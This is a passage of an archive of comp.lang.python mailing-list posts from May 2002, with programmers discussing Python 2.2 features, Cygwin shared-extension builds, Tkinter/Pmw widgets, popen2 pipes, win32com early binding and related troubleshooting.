From marklists at mceahern.com Fri May 24 00:05:07 2002 From: marklists at mceahern.com (Mark McEahern) Date: Thu, 23 May 2002 23:05:07 -0500 Subject: properties in Python 2.2 In-Reply-To: <3CEDB5FB.49EEEDD9@irl.cri.nz> Message-ID: You need to subclass from object: class foo(object): ... cheers, // mark - From fperez528 at yahoo.com Fri May 17 20:07:45 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Fri, 17 May 2002 18:07:45 -0600 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58757.5146706E@alcyone.com> Message-ID: Erik Max Francis wrote: > Sure, but when translating mathematical concepts to programming, > practicality always gets in the way. A dictionary, for instance, in > essence just a function which maps a set into another. And therefore means that the keys must never change, by the very definition of mapping. At a given value of the domain (the key) we have a value in the range (the value), and the domain value can't start jumping around. So for dictionaries thought as mappings, it's actually perfectly reasonable to expect the keys to be immutable. For sets, on the other hand, it's a strange and unnatural restriction. Maybe for implementation reasons it will be practical to have them be _internally_ immutable and have them 'simulate' mutability like strings do (s = 'hi'; s+='ho' works 'in place' even though it doesn't ;) Language design and implementation is always a balancing act: you want abstract, flexible and general features but you want them to be realistically implementable by normal humans in a finite amount of time. Where to draw the line is always a decision that involves as much gut and intuition as it does 'science'. So far I think the python team has done an admirable job of finding a great balance. IMHO for sets, making them immutable would fall too far in the direction of 'practicality' and lose too much in the 'flexibility and power of abstraction' department. But again, that's my opinion. Cheers, f. From xsebbi at gmx.de Wed May 22 07:49:22 2002 From: xsebbi at gmx.de (Sebastian Roth) Date: Wed, 22 May 2002 13:49:22 +0200 Subject: Converting HTML to XHTML In-Reply-To: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BC1@hendrix.empolisuk.com> References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BC1@hendrix.empolisuk.com> Message-ID: <200205221349.22136@xsebbi.de> On Mittwoch, 22. Mai 2002 12:43, Harvey Thomas wrote: > Have a look at HTML Tidy at > http://www.w3.org/People/Raggett/tidy/ > > This can probably do the complete job for you. > > HTH Harvey, Mark, thank you. Tidy does exactly what I want to do ;) > Harvey Sebastian From mwh at python.net Fri May 10 05:00:46 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 10 May 2002 09:00:46 GMT Subject: Building Python on Cray T3E References: Message-ID: Kalle Svensson writes: > [Mark Hadfield] > > Like several others before me I am trying to build Python on a Cray > > T3E. [...] > There's a join() in unistd.h on UNICOS which collides with a internal > SRE function. Try this simple patch: So does the resulting Python actually work after this? We got this far with 2.2.1c1, but you never told me if the dang thing worked or not... Cheers, M. -- ROOSTA: Ever since you arrived on this planet last night you've been going round telling people that you're Zaphod Beeblebrox, but that they're not to tell anyone else. -- The Hitch-Hikers Guide to the Galaxy, Episode 7 From pyth at devel.trillke.net Thu May 2 13:33:19 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 2 May 2002 19:33:19 +0200 Subject: Importing dynamically loaded modules (in packages)? In-Reply-To: References: Message-ID: <20020502173319.GW16217@devel.trillke> [Gordon McMillan] (... useful statements and information ...) thanks. I definitely look into that. holger From stevena at neosynapse.net Tue May 28 03:38:01 2002 From: stevena at neosynapse.net (Steven D. Arnold) Date: Tue, 28 May 2002 03:38:01 -0400 Subject: binding a method to an instance? Message-ID: <73660796875.20020528033801@neosynapse.net> Hi, I'm trying to bind a method to an instance like this: class foo: def __init__( self ): def abc( self ): print "hello" self.bar = abc i = foo() i.bar() Unfortunately, when I run the last line, I get: Traceback (most recent call last): File "", line 1, in ? TypeError: abc() takes exactly 1 argument (0 given) Apparently `abc' looks like a regular function and not a bound method. How can I make it appear as a bound method in my instance? -------------------------------------------------------------- Steven D. Arnold stevena at neosynapse.net AIM: abraxan MSN: neosynapse at hotmail.com From nospam at bigfoot.com Tue May 21 10:04:20 2002 From: nospam at bigfoot.com (Gillou) Date: Tue, 21 May 2002 16:04:20 +0200 Subject: Question on Pmw Balloon Binding References: Message-ID: The reason... > button = Button(frame, text="Button").pack() pack() method of widgets return None, NOT the packed object. You can't use any more your Button widget :(( use directly this kind of construct for widgets you don't need anymore after packing (labels...) > button = Button(frame, text="Button") > button.pack() Here "button" is a widget. You can play with it later in your code. From jason at tishler.net Mon May 6 09:17:44 2002 From: jason at tishler.net (Jason Tishler) Date: Mon, 06 May 2002 09:17:44 -0400 Subject: Creating C modules for Python under Cygwin In-Reply-To: References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: <20020506131744.GD1668@tishler.net> On Sun, May 05, 2002 at 06:49:21PM +0200, Martin v. L?wis wrote: > Alex Martelli writes: > > > So, it's PERFECTLY feasible on Windows for a DLL to access symbols that > > are defined in the executable that loads said DLL, by any of several > > means. > > That's very interesting indeed. In http://python.org/sf/551093, Jason > Tischler argues that you absolutely must build Python with a shared > Python DLL, or else it can't possibly work. In the above URL, I stated that linking shared extensions against a static Python library does not work under Cygwin. At least that was my intention -- sorry, if I was unclear. If you try using a static Cygwin Python library, then you will get the following results: $ ./python Python 2.3a0 (#2, May 5 2002, 21:24:59) [GCC 2.95.3-5 (cygwin special)] on cygwin Type "help", "copyright", "credits" or "license" for more information. Fatal Python error: Interpreter not initialized (version mismatch?) Aborted (core dumped) I got the above or similar results when I first tried to get shared extensions to work under Cygwin about 2 years ago. So, I decided to use a shared (i.e., DLL) Cygwin Python library for the following reasons: 1. Win32 Python used a DLL Python library too 2. DLLs appear to be en vogue on Windows (and Cygwin) 3. shared extensions worked! I guess that #3 is the most compelling. :,) Some of Alex's posts in this thread and my knowledge of the Cygwin PostgreSQL build gave me an idea of how to (quick and dirty) create an import library for python.exe with a static Python library: $ configure --disable-shared $ make # [1] $ dlltool --export-all --output-def python2.3.def python.exe $ dlltool --dllname python.exe --def python2.3.def --output-lib libpython2.3.dll.a $ make # [2] Note: [1] make will fail building all shared extensions with many unresolved _imp__* references due to a compiling for an import library but linking against a static one. [2] make succeeds this time because we are linking against an import library now. Unfortunately, the shared extensions created this way do not work even though they build cleanly: $ ./python Python 2.3a0 (#1, May 6 2002, 07:10:16) [GCC 2.95.3-5 (cygwin special)] on cygwin Type "help", "copyright", "credits" or "license" for more information. >>> import _socket Traceback (most recent call last): File "", line 1, in ? ImportError: dlopen: Win32 error 193 $ fgrep 193 /usr/include/w32api/winerror.h #define ERROR_BAD_EXE_FORMAT 193L Does anyone know how to build Cygwin Python shared extensions when built with a static Python library? If so, then I will submit a patch to the Python patch collector to clean up the --disable-shared build. Note that you can currently configure Cygwin Python with --disable-shared, but to be successful *all* extension modules must be static. > I thought this was overstated, [snip] Please feel free to question any of my statements. Jason From peter at abbnm.com Sun May 5 16:45:29 2002 From: peter at abbnm.com (Peter da Silva) Date: 5 May 2002 20:45:29 GMT Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> Message-ID: In article <82bsbvl5q1.fsf at acropolis.localdomain>, Patrick W wrote: > One of the (huge) (potential) advantages I see in the .NET framework, > in spite of its unfortunate progeny, is that, with the ability to > write the truly performance critical stuff in C wrapped in C#, you get > a lot of the benefits of C++ without half the cruft of either the C++ > language or the fiddliness of COM. (And you get a whole lot more > besides). The fundamental problem is that C is not a good language to use for the basis of a modern object-oriented language. Too much of the semantics are hard-coded in the syntax, which is why C++ has so many increasingly desperate kludges added in by finding obscure combinations of symbols that hadn't been combined before. I don't want to use a C-derived language for OO code, no matter whether it's called C++, CO2, Objective C, C#, or Java. -- I've seen things you people can't imagine. Chimneysweeps on fire over the roofs of London. I've watched kite-strings glitter in the sun at Hyde Park Gate. All these things will be lost in time, like chalk-paintings in the rain. `-_-' Time for your nap. | Peter da Silva | Har du kramat din varg, idag? 'U` From donn at u.washington.edu Fri May 3 12:18:27 2002 From: donn at u.washington.edu (Donn Cave) Date: 3 May 2002 16:18:27 GMT Subject: print , (was Re: Python vs. Perl, which is better to learn?) References: <7xn0viyspa.fsf@ruckus.brouhaha.com> Message-ID: Quoth Alex Martelli : ... | I find Python's print convenient for debugging purposes, and that's | about all. No matter how refined the theoretical possibilities, some | of us dinosaurs, at times, feel most comfortable rapidly sticking print | statements at strategic points in the code to follow the control flow | and data values, then commenting some of them out again, and so | on. For this purpose, print's "convenience" features are just fine -- | they save me a fraction of a second each time wrt explicitly using | blanks, str calls, etc, or a formatstring. If it had been intended primarily for diagnostic purposes, then it should have been made to write to the diagnostic stream (stderr) by default. Then the diagnostic output wouldn't interfere with normal use of the regular output, as normal redirection to a file or pipe would involve only the latter. Donn Cave, donn at u.washington.edu From quinn at bolivar.ugcs.caltech.edu Sun May 26 14:07:42 2002 From: quinn at bolivar.ugcs.caltech.edu (Quinn Dunkan) Date: 26 May 2002 18:07:42 GMT Subject: Tuple comprehension References: Message-ID: On Fri, 12 Apr 2002 08:20:36 -0700 (PDT), brueckd at tbye.com wrote: >On Thu, 11 Apr 2002, David Eppstein wrote: > >> In article , >> mlh at vier.idi.ntnu.no (Magnus Lie Hetland) wrote: >> >> > I think the only _real_ reason to have tuples at all is that they are >> > immutable (and therefore usable as dictionary keys). And a slight >> > efficiency advantage over lists, maybe... >> >> I'm guessing (without looking at the source) that tuples use less memory >> because they don't need the extra room for growth that lists do. >> But my mental model of them is just "immutable list". > >Yes, this is where the difference in opinion lies: as immutable lists, >tuple comprehensions can make sense. I like the mental model of tuples >put forth by the Python tutorial: > >[5.3] "Tuples have many uses, e.g. (x, y) coordinate pairs, employee >records from a database, etc." > >The implication is that tuples group bits of often dissimilar but related >information that, grouped together, represent a unique entity - sort of a >poor man's object instance. This is how I think of them too. One test is that if you create them with literal constructors (which you must, since (without tuple constructors) you have no choice) and destruct them with pattern patching (as in 'x, y = coords') and their length is part of their 'type', then they are tuples. If you create them piecemeal (by appending) and tend to index them or iterate over them (this including mapping), and they can be any length, then they are lists. I suspect I think of things in these terms because of previous languages where the difference is part of the language (e.g. lists must be homogenous and tuples cannot be indexed). Where one person might write: def move(coord, vector): return tuple(map(operator.add, coord, vector)) I might write: def move((x1, y1), (x2, y2)): return (x1 + x2, y1 + y2) Of course, the second version is less generic since it only works for pairs, but if I had a system with n-dimensionsal coords maybe I'd use lists since they can be various lengths. This would be a hint to think of additional cases such as "what happens when you move a 3d point by a 2d vector?". From op73418 at mail.telepac.pt Tue May 21 19:42:18 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Wed, 22 May 2002 00:42:18 +0100 Subject: list prob References: <3ceac092$0$8139$ba620e4c@news.skynet.be> <9hmleucpt6iv1rvf2po0lopg7h44aeibda@4ax.com> Message-ID: On Wed, 22 May 2002 00:38:15 +0100, Gon?alo Rodrigues wrote: >On Tue, 21 May 2002 23:48:41 +0200, "kemu" wrote: > >>I want to search a list if I do list.index("word to search") and the word >>isn't in the list I get an error I don't want to get one from python but >>want my own error like word is not in the list how ? >>or is there an other way to search the list for strings and if he doesn't >>find one he doesn't print an error ? >> > >Let me add that using the find method also works. But the try block >idiom is useful for a lot of thing and is worth learning/understanding. > >Best, >Gon?alo Rodrigues Disregard this. The find method is for strings - I was lead astray by G. Newcomb's post - my fault :-( Best, Gon?alo Rodrigues From gtaylor at lowebroadway.com Thu May 23 09:46:19 2002 From: gtaylor at lowebroadway.com (Garry Taylor) Date: 23 May 2002 06:46:19 -0700 Subject: Erasing items from a canvas Message-ID: Hello, I am having a little difficulty removing items from a canvas in QT/Python, I do a Items = canvas.allItems() and then do a for loop which does del(item) on each item, I can then do canvas.allItems() again, and get the same number of items, i.e. they have not been deleted. The problem happens on my Transmeta laptop, but is far worse on a G4 PowerBook, both with linux. Is there a better way to erase items off a canvas? Thanks Garry Could answers please be sent to gtaylor at lowebroadway.com as well as the group, my newsreading facilities leave a little to be desired thanks to the companies firewall. Thanks again. From skip at pobox.com Thu May 30 11:10:24 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 30 May 2002 10:10:24 -0500 Subject: Crashing IDLE In-Reply-To: References: Message-ID: <15606.16608.916236.657101@12-248-41-177.client.attbi.com> David> I would consider that a bug - "pass" should be checking for David> ctrl-c and other events imo. It sure strikes me as a point for David> relinquishing control. It will relinquish control to another thread and sense KeyboardInterrupt. If your app is not threaded though, Tk will never get control so it can process its event queue. That's what fills up. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) Boycott Netflix - they spam - http://www.musi-cal.com/~skip/netflix.html From SSchukat at dspace.de Tue May 21 04:18:22 2002 From: SSchukat at dspace.de (Stefan Schukat) Date: Tue, 21 May 2002 09:18:22 +0100 Subject: Pythonwin and makepy problems Message-ID: <84257D042AA7D411B3F700D0B7DB9B7C13B148@PDC-DSPACE> Hi, your object probably does not support the runtime extraction of the CLSID. Without this information the late bound wrapper doesn't know what kind of early bound wrapper to use. You can either give this information by hand i.e. # assuming import of the makepy wrapper is already done from win32com.client import CLSIDToClass import win32com import pywintypes MyLate = win32com.client.Dispatch(ProgID) MyEarlyClass = CLSIDToClass.GetClass(str(pywintypes.IID(ProgID))) MyEarly = MyEarlyClass(MyLate) or if you rename [GUID].py to MyComObject.py just import MyComObject MyEarly = MyComObject.MyObject() # Name of the CoClass Otherwise your dispatch implementation must support the GetTypeInfo function and have a typelib either included or registered on the system. Stefan -----Original Message----- From: Joseph Toman [mailto:toman at cyber-dyne.com] Sent: Friday, May 17, 2002 4:52 PM To: python-list at python.org Subject: Pythonwin and makepy problems How exactly does Pythonwin know how to tab complete an object in the interpreter window? I've written a COM object which is registered and has a typelib (OLB) file created. Then I start pythonwin and run makepy on the object from there. When I look at the newly created "GUID".py file in gen_py it looks like some dandy wrapper code, just what I would expect would be there. But when I create this object using win32com.client.Dispatch(ProgID), tab completion doesn't work on the resultant object. This isn't such a big deal, except that the code I'm using this object from depends on early binding to know whether an interface has an interator on it and things like that. This used to work with a previous (2.0) version of python. Running makepy on Excel works fine, and tab completion works on it. A toy COM object I wrote with the same compiler works fine as well. Ideas? Compiler: Borland C++ 5.01 Python : 2.2.1 win32 binary from python.org Python COM : win32all146 from starship J. Toman -- http://mail.python.org/mailman/listinfo/python-list From aleax at aleax.it Sat May 4 07:58:41 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 11:58:41 GMT Subject: Using functional tools References: Message-ID: RPM1 wrote: ... > def pick(L,I): > result = [] > for i in I: > result.append(L[i]) > return result > > My extension is 4 times faster than the Python code. I wonder > if there is a pure Python functional way that is as fast as the Not by a factor of 4, though getting about 2-times speedup is easy: def pick1(L,I): result = [] for i in I: result.append(L[i]) return result def pick2(L, I): return [L[i] for i in I] def pick3(L, I): result = I[:] for i in range(len(I)): result[i] = L[I[i]] return result import Numeric def pick4(L, I): return Numeric.take(L,I) import time, random, string L = list(string.lowercase) I = [random.randrange(len(L)) for i in range(100000)] ref = None def timer(fun): start = time.clock() result = fun(L, I) stend = time.clock() global ref assert ref is None or ref==result ref = result print fun.func_name,stend-start for f in pick1, pick2, pick3, pick4: timer(f) [alex at lancelot cb]$ python -O s.py pick1 0.12 pick2 0.09 pick3 0.08 pick4 0.02 [alex at lancelot cb]$ python -O s.py pick1 0.12 pick2 0.09 pick3 0.08 pick4 0.02 Numeric, as you see, seem even faster than your extension (6 times, rather than 4 times, as fast as the slowest Python code, the one you give as reference). I hope it _is_ well known that Numeric is often quite worthwhile even for heavy array manipulations that have nothing particularly 'numeric' about them:-). Personally, unless I was already using Numeric for something else in the program, I'd just code the list comprehension -- unless and until measurements showed that these few hundredths of a second (for index-lists of a hundred thousand items) are part of my program's bottlenecks, of course, in which case I'd turn to Numeric. Alex From aahz at pythoncraft.com Fri May 31 19:42:44 2002 From: aahz at pythoncraft.com (Aahz) Date: 31 May 2002 19:42:44 -0400 Subject: Generating unique numbers? References: <3CF7EBC8.4080802@verio.net> Message-ID: In article <3CF7EBC8.4080802 at verio.net>, VanL wrote: > >Is there a good algorithm for generating unique numbers >(ints, specifically) that can be used as object identifiers? > >I am discounding the obvious newid += 1 because I will need >to merge different sets, and while I may have some number >overlap, using a simple count for each object would >guarantee that I have the maximum number of clashes. Use a global, persistent newid. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From tchur at optushome.com.au Sat May 25 19:32:31 2002 From: tchur at optushome.com.au (Tim Churches) Date: Sun, 26 May 2002 09:32:31 +1000 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: <3CF01F0F.E9DD9D88@optushome.com.au> Christopher Browne wrote: > > Quoth Tim Churches : > > I'm not sure how such a meta-interpreter would deal with already > > compiled bytecode - is there a version stamp in the bytecode? > > Wouldn't it be easier to simply change the first line to: > #!/usr/bin/python1.5 Yeah, but what about the value of environment variables such as PYTHONPATH, PYTHONSTARTUP and PYTHONHOME? I would want these to be automatically set to the appropriate values. On Windows, I gather that these values are read from the Registry under HKEY_LOCAL_MACHINE/Software/Python Tim C From sholden at holdenweb.com Wed May 1 12:46:40 2002 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 1 May 2002 12:46:40 -0400 Subject: os.environ.copy()['COPY_HUH'] = "not really" References: <20020430152022.I17488@unpythonic.net> <20020430184231.C30307@ibook.distro.conectiva> <0AUz8.25621$Lj.1995635@bin4.nnrp.aus1.giganews.com> Message-ID: "Terry Reedy" wrote in message news:0AUz8.25621$Lj.1995635 at bin4.nnrp.aus1.giganews.com... > > "Alex Martelli" wrote in message > news:eCTz8.85568$vF6.2548577 at news2.tin.it... > > Terry Reedy wrote: > > ... > > > Perhaps os._Environ should have a .dict() method (if is does not > now) > > > to do the conversion. > > > > dict(os.environ) seems a better solution to me. It's a general way > to > > make a dictionary from any generic mapping, after all. > > I thought of this and would agree if dict knows how to handle an > os._Environ object, but I don't know if it does and am not prepared to > test at the moment. > Looks like that's the way to go, then: >>> type(os.environ) >>> e = dict(os.environ) >>> e["TEMP"] 'C:\\DOCUME~1\\SHOLDEN\\LOCALS~1\\Temp' >>> regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From bkc at Murkworks.com Wed May 22 10:58:41 2002 From: bkc at Murkworks.com (Brad Clements) Date: Wed, 22 May 2002 10:58:41 -0400 Subject: Oberon in Python, ala Pyrex but instant compile? References: <3ce11bc3_4@goliath.newsgroups.com> Message-ID: <3cebb0ec_5@goliath.newsgroups.com> Well, of course Oberon is strict in a draconian way. Isn't that supposed to keep you from pointer-munging yourself into a crash? I can't help that most of the existing Oberon code was written by students! ;-) Surely it must have some redeeming value, otherwise why is it still around teasing the rest of us? -- Novell DeveloperNet Sysop #5 _ "Janto Dreijer" wrote in message news:f9068f8e.0205220358.19eb1094 at posting.google.com... > "Brad Clements" wrote in message news:<3ce11bc3_4 at goliath.newsgroups.com>... > > > Brainstorming.. > > > > > > Pyrex looks very nice. I'm wondering if it'd be possible to use an Oberon-2 > > > compiler as the backend instead of GCC. > > > > > > The idea being that Oberon-2, on some (most?) OS's allows for very fast > > > dynamic compilation and loading. The Oberon compiler could be a Python > > > module that dynamically loads Pyrex "modules" and recompiles on the fly as > > > needed. > > > > > > I realize that dynamic loading is part of Oberon System, not really the > > > Oberon compiler itself. > > > > > > But I wondering if this is too crazy an idea or not. Have something like > > > Pyrex write Oberon code, run it through an Oberon compiler and dynamically > > > load the resulting module. > > > > > > Oberon is much smaller than GCC and runs just about anywhere. > > > > > > Crazy idea, or waste of time, or both? > > > > > > -- > > > Novell DeveloperNet Sysop #5 > > > > > > I know this is an old post, but I feel that Oberon programmers need > all the help they can get without being made fun of :-) If I remember > correctly you also asked about running python ON oberon, in a previous > post. > > I believe I have some authority on this subject (or at least "will") > as we have just been given the taks of writing an interpreter for a > butchered version of python as a CS project. It has already taken me > 8h just to write the scanner/tokeniser. That's extremely long for the > ammount of work involved. Most of the time was spent struggling with > oberon's absence of a string type, incomplete (and faulty!) oo > implementation and the oberon compiler(!) crashing with legal code. > > Oberon's extremely strict and archaic design makes a complete and > bug-free interpreter almost impossible. > > I could keep on ranting (just ask) about oberon's flaws and why such a > fork would actually waste a lot of development time that could have > been used for jyhton or cpython, but I'm sure that just browsing > oberon's internal libraries would dissuade even the most naive coder. > :-) > > BTW If any of my fellow classmates post their versions I will kill > them <0.0001 wink> -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From ianb at colorstudy.com Fri May 3 15:56:25 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 03 May 2002 14:56:25 -0500 Subject: Python vs. Perl, which is better to learn? In-Reply-To: References: <91acf731.0205030642.580a9c59@posting.google.com> Message-ID: <1020455786.1101.19.camel@localhost> On Fri, 2002-05-03 at 11:02, Alex Martelli wrote: > Actually, it's when a callable HAS arguments that it may be least > disruptive to allow it to be called without parentheses, just by > "juxtaposition" to its arguments. I do admit I love Haskell's > way of expressing "f a b c", so clean -- no noisy parentheses nor > commas for the typical case. Of course, it DOES require the > "implicit currying" concept, so that e.g. f a may return a function > that then takes b and returns a function that ... -- delightful, > but perhaps not all that applicable unless the compiler has some > strong information about what callable takes what arguments:-). FYI, Logo also does this, in an interpreted form. Similar in semantics to Tcl, it only parses code at the time it is run (truly interpreted, unlike Python -- though this may not be a feature :). E.g.: to add :a :b output :a + :b end fd add 1 2 rt 90 ; Parsed as (fd (add 1 2)) (rt 90) No one really pays attention to Logo now, or maybe ever, but it's really a more elegant language than one would expect. In it's domain I think it still has a lot to offer in terms of usability. But then programming languages targeted at the semi-literate with poor keyboarding skills have never done that well. Though that might make some people think of some other choice languages :) Ian From ned at stromkern.com Fri May 17 11:59:58 2002 From: ned at stromkern.com (professor ned) Date: 17 May 2002 08:59:58 -0700 Subject: popen(2) wierdness - help! Message-ID: <477fb805.0205170759.1deca84a@posting.google.com> Hi all, this seems like it should be awfully simple, but the only answer I can get from anyone seems to be "use Expect!" which, somehow, isn't very satisfying. Consider the following snippet of code (Python 2.2 running on RedHat 7.2, although Solaris 8 exhibits similar behavior): --- #!/usr/local/bin/python import os cmd = "cat -" stuff = "Hello, hello, hello...\n" writeHandle = os.popen( cmd, 'w') print "writeHandle is %s" % writeHandle print "stuff is %s" % stuff writeHandle.write( stuff ) writeHandle.close() writeHandle, readHandle = os.popen2( cmd ) print "\nwriteHandle is %s " % writeHandle print "readHandle is %s " % readHandle print "stuff is %s " % stuff writeHandle.write( stuff ) writeHandle.close() readHandle.close() --- Now, consider the output: [ned at nmi-redhat72-dev ned]$ ./ptest.py writeHandle is stuff is Hello, hello, hello... Hello, hello, hello... writeHandle is readHandle is stuff is Hello, hello, hello... [ned at nmi-redhat72-dev ned]$ cat: write error: Broken pipe --- Or the Solaris 8 version: [ned]:~$ ./ptest.py writeHandle is stuff is Hello, hello, hello... Hello, hello, hello... writeHandle is readHandle is stuff is Hello, hello, hello... [ned]:~$ cat: output error (0/23 characters written) Broken pipe For a single popen(), with the mode specified, you get file 'cat -' instead of the more generice '(fdopen)' - although that doesn't seem to much matter. But for popen2(), where the modes are also specified, you get this broken pipe error, which ... makes no sense. Can the writeHandle of popen2() not accept a string? Does it need a stream from somewhere? All examples I've seen of this (which actually work) have the input to the writeHandle be something like "ls -l". Maddening. Any insight would be appreciated. ned From spam at nospam.com Mon May 20 12:59:08 2002 From: spam at nospam.com (sidewinder) Date: Mon, 20 May 2002 16:59:08 GMT Subject: wincvs and python question Message-ID: HI, I installed the wincvs and the latest python on my system at work a win2K machine all the macros work great. When I installed the stuff on my xp system at home the macros don't work. It compains about runcmd or do command. Has anyone else run into this and how is it fixed? From sandysj at juno.com Fri May 17 11:21:53 2002 From: sandysj at juno.com (Jeff Sandys) Date: Fri, 17 May 2002 15:21:53 GMT Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: <3CE52011.8EC24010@juno.com> Shagshag wrote: > > Newbie to python, i was wondering how *skilled* guys code with it : emacs with python mode From 2002 at weholt.org Mon May 6 07:58:01 2002 From: 2002 at weholt.org (Thomas Weholt) Date: Mon, 06 May 2002 11:58:01 GMT Subject: reading binary data fast / help with optimizing ( again ) References: Message-ID: Just a comment : > result.append(unpack(fmt, _data[start_pos:stop_pos])) The unpack-method found in the struct-module seem to be the bottleneck in my code. Is there another way to read/write binary data to/from disk in a similar fashion without using struct? Since I didn't find any struct.py module in my python distro I guess its a C-based module compiled into a lib somewhere. Has it been optimized? Still almost clueless, but hopefull Thomas Weholt From anthony at interlink.com.au Sat May 18 01:33:14 2002 From: anthony at interlink.com.au (Anthony Baxter) Date: Sat, 18 May 2002 15:33:14 +1000 Subject: Gadfly-1.0rc1 Errors In-Reply-To: Message from "Andrew Dalke" of "Fri, 17 May 2002 21:58:52 CST." Message-ID: <200205180533.g4I5XEt25080@localhost.localdomain> >>> "Andrew Dalke" wrote > Dave Moor: > >> raise exc[0], (exc[1][0], exc[1][1] + ' removing '+cmd[1]) > >> OSError: [Errno 13] Permission denied removing _test_dir\test.gfl > > > >The error repeat for 40 tests, but its always caused by shutil.rmtree. > > The install worked OK, should I worry about the tests failing? > > Just a guess, not based on looking at source code. MS Windows doesn't > allow an open file to be deleted, while Unix does. I suspect the > cleanup code is trying to remove the test directory and can't > because something therein is open. This seems the likely problem. I've logged it in the SF bug tracker, as http://sourceforge.net/tracker/index.php?func=detail&aid=557554&group_id=662&atid=100662 The test failure can be ignored (but should be fixed). Anthony -- Anthony Baxter It's never too late to have a happy childhood. From cimarron+google at taylors.org Thu May 2 07:05:21 2002 From: cimarron+google at taylors.org (Cimarron Taylor) Date: 2 May 2002 04:05:21 -0700 Subject: Tix Vs Pmw which is better to use? References: <3CCE6C0D.FA96F79A@millfilm.co.uk> Message-ID: <29e28c51.0205020305.53cbfd22@posting.google.com> I have not used Tix, but I have recently started working with Pmw. Overall I'm pretty happy with the result. First the good things: 1. Pmw is easy to use and there are lots of examples! 2. Pmw has a very nice Notebook widget which makes it easy to create the tab-dialog interface I wanted. Now for the things which frustrated me: 3. Not much thought seems to have been given to making the megawidgets support a consistant interface for reading and writing the data values. you often have to violate encapsulation to do something as mundane as setting the value of a widget. For example, suppose I create a Pmw.Counter with the following code counter = Pmw.Counter( parent, labelpos='w', label_text='Number of tests', entryfield_value=10, datatype='numeric', entryfield_validate={'validator':'numeric', 'min':0, 'max':100}, increment=10 ) To set the value of the counter later on, I need to invoke the setentry() method on the internal entry widget of the counter: counter._counterEntry.setentry(value) So how did I know to do this? The answer is, I studied the demos and the source code and tried lots of things until I found something that worked for this specific widget. Now suppose somewhere else I create a read-only text box with the following code: textbox = Pmw.ScrolledText( parent, borderframe=1, text_padx=5, text_pady=5, text_wrap='none', vscrollmode='static', hscrollmode='static' ) textbox._textbox.configure(state='disabled') I could find no obvious way to make the text box read-only without once again acessing an internal member of the widget. Also, by trial and error I have discovered that I can set the text of the widget via textbox._textbox.configure(state='normal') textbox.clear() textbox.settext(value) textbox._textbox.configure(state='disabled') You get the idea. To me, the most important thing a megawidget must do is manage the value shown to the user and one of the important programming services the megawidget layer should provide is a simple and consistent way of accessing that value. Hence I ended up rolling my own adaptor classes for this purpose. Here is my own Counter: class Counter: "class providing a common get/set interface to Pmw.Counter" def __init__(self, parent, labeltext, init, min, max, incr=1): self.counter = Pmw.Counter( parent, labelpos='w', label_text=labeltext, entryfield_value=init, datatype='numeric', entryfield_validate={'validator':'numeric', 'min':min, 'max':max}, increment=incr) self.counter._counterEntry._entryFieldEntry.config(bg='white') def get(self): return self.counter._counterEntry.get() def set(self, value): return self.counter._counterEntry.setentry(value) 4. Pmw has a less-than-useful color abstraction. The Pmw.Color class may be useful if you want to change the entire color scheme of an application but it is difficult to use with a single widget. For example, the Pmw.Color example suggests defaultPalette = Pmw.Color.getdefaultpalette(parent) normalcolor = Pmw.Color.changebrightness(parent, 'white', 0.85) Pmw.Color.setscheme(parent, normalcolor) .. create your widget here .. apply(Pmw.Color.setscheme, (parent,), defaultPalette) but suppose you want only the editable area of the counter to have a white background and not the entire widget to be white. The code you see above is a dead-end. To do what I wanted you will need something like self.counter._counterEntry._entryFieldEntry.config(bg='white') 5. The font system is also a little less than useful. Suppose you want your text box to use a fixed width font. Once again you will need to access the internal member: typewriter = apply(Pmw.logicalfont, ('Typewriter', 0), {}) textbox = Pmw.ScrolledText( parent, borderframe=1, text_padx=5, text_pady=5, text_wrap='none', vscrollmode='static', hscrollmode='static') textbox._textbox.configure(font=typewriter) 6. Be very careful about which geometry management scheme you choose. If you accidently mix .pack() and .grid(), you may end up with an application which freezes up the first time you resize it (of course, this is probably more of a Tkinter problem than a Pmw one). Now a question for the group. I would like to add to my interface a text area which would contain the output of a separate long running make process I need to spawn. I can't just call system() as that would block the entire ui (unless I setup a separate thread). I've tried using fork() and exec() but that seems to cause an X server error which kills the entire application. The best thing I've found so far is to run the separate process in an xterm window by creating an instance of the following class: class StartMake: def __init__(self, target): os.popen('xterm -e make %s &' % target) I know there are probably a few paths I could start down: a. use threads (yeah I know, but seems like overkill for this) b. get a window id of a Tkinter widget and have xterm use that window (yuck!) c. use a Tkinter alarm to poll the tail of a file containing the make output (this is what I might end up doing, but seems clumsy) Any suggestions? Cim From terjej at mailandnews.com Fri May 17 10:07:30 2002 From: terjej at mailandnews.com (Terje Johan Abrahamsen) Date: 17 May 2002 07:07:30 -0700 Subject: B: Objects Message-ID: <1e140f34.0205170607.c18dece@posting.google.com> I have just started to learn Python after writing more of a spagetti style code in other languages with plenty of goto's. After what I have understood, you use different objects in Python to get the same effect. So, I took my task, to transfer Excel data over to an AS400 display, and divided the task into 4 separate parts. Basically what I want the four parts to do is: Accountcurrentstest: Run the other tasks and stop when it gets the stop command from 